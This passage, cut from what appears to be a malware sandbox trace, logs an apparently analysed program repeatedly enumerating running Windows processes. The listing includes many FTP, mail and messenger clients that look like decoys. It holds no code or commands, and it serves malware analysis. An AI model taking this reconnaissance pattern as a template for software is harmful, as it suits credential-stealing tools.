lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0215.364] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0215.366] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.368] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0215.370] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0215.372] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0215.373] CloseHandle (hObject=0x11c8) returned 1 [0215.374] Sleep (dwMilliseconds=0x64) [0215.375] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0215.386] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.389] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.390] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.392] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.394] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.395] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.397] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.398] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.521] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.523] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.525] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.527] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.529] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.530] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.532] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.534] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.536] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.537] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.539] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.541] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.543] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0215.545] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.546] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.548] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0215.550] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0215.552] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0215.553] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0215.555] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0215.557] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0215.558] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0215.560] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.562] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.563] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0215.565] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.567] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0215.569] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0215.570] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0215.572] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0215.574] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0215.575] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0215.577] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0215.578] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0215.580] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0215.582] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0215.584] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0215.586] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0215.587] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0215.589] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0215.591] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0215.592] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0215.595] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0215.596] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0215.598] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0215.600] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0215.601] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0215.603] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0215.608] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0215.610] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0215.612] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0215.614] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0215.616] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0215.618] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0215.620] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0215.622] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0215.624] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0215.626] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0215.736] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0215.738] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0215.741] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0215.743] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0215.745] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0215.747] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0215.749] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0215.751] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0215.753] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0215.755] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0215.757] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, 